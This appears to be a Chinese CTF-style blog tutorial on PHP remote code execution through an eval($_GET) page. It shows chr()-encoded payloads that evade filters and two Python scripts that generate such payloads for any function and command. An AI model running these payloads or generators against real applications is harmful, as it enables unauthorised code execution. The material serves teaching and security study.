CHR函数在RCE的应用和脚本

发布于 2023-04-02  450 次阅读


原理

  • 从不同的 ASCII 值返回字符:
<?php
echo chr(61) . "<br>"; // 十进制
echo chr(061) . "<br>"; // 八进制值
echo chr(0x61) . "<br>"; // 十六进制值
?>
  • 得到
=
1
a
  • 下面举个例子
<?php
//测试网页
eval($_GET['a']);
?>
  • 测试语句
?a=system("whoami");

  • 处理过滤时,可以将==命令执行==的部分用chr转换ascll来拼接,如
?a=system(chr(0x77).chr(0x68).chr(0x6f).chr(0x61).chr(0x6d).chr(0x69));

  • 也可以将==代码执行==的部分用chr转换ascll来拼接(注意函数要括起来),如
?a=(chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d))('whoami');

  • 当然也可以两者一起转辣(注意函数要括起来)
?a=(chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d))
(chr(0x77).chr(0x68).chr(0x6f).chr(0x61).chr(0x6d).chr(0x69));

脚本

  • 那么下面直接贴脚本吧,这里是通用的转换字符串,如果要转换函数,需要手加括号
import sys
while 1:
    print("请输入要转化的字符串:")
    str = sys.stdin.readline().strip()
    print("您输入的内容是:", str,end=' ')

    arr1 = list(str)

    str1 = ''
    for b in range(len(arr1)):
        c = '.chr(0x'+hex(ord(arr1[b]))[2:]+')'
        str1 += c
    print("转为chr()方式的结果为:")
    print(str1.lstrip('.'))

  • 下面是针对代码执行,将命令执行函数和被执行的命令一起转码的脚本
import sys
while 1:
    print("请输入要转化的函数:")
    str = sys.stdin.readline().strip()

    arr1 = list(str)

    str1 = ''
    for b in range(len(arr1)):
        c = '.chr(0x'+hex(ord(arr1[b]))[2:]+')'
        str1 += c
    a='('+str1.lstrip('.')+')'
    print("请输入要转化的命令:")
    str = sys.stdin.readline().strip()

    arr1 = list(str)

    str1 = ''
    for b in range(len(arr1)):
        c = '.chr(0x'+hex(ord(arr1[b]))[2:]+')'
        str1 += c
    print(a+str1.lstrip('.')+';')

届ける言葉を今は育ててる
最后更新于 2024-02-07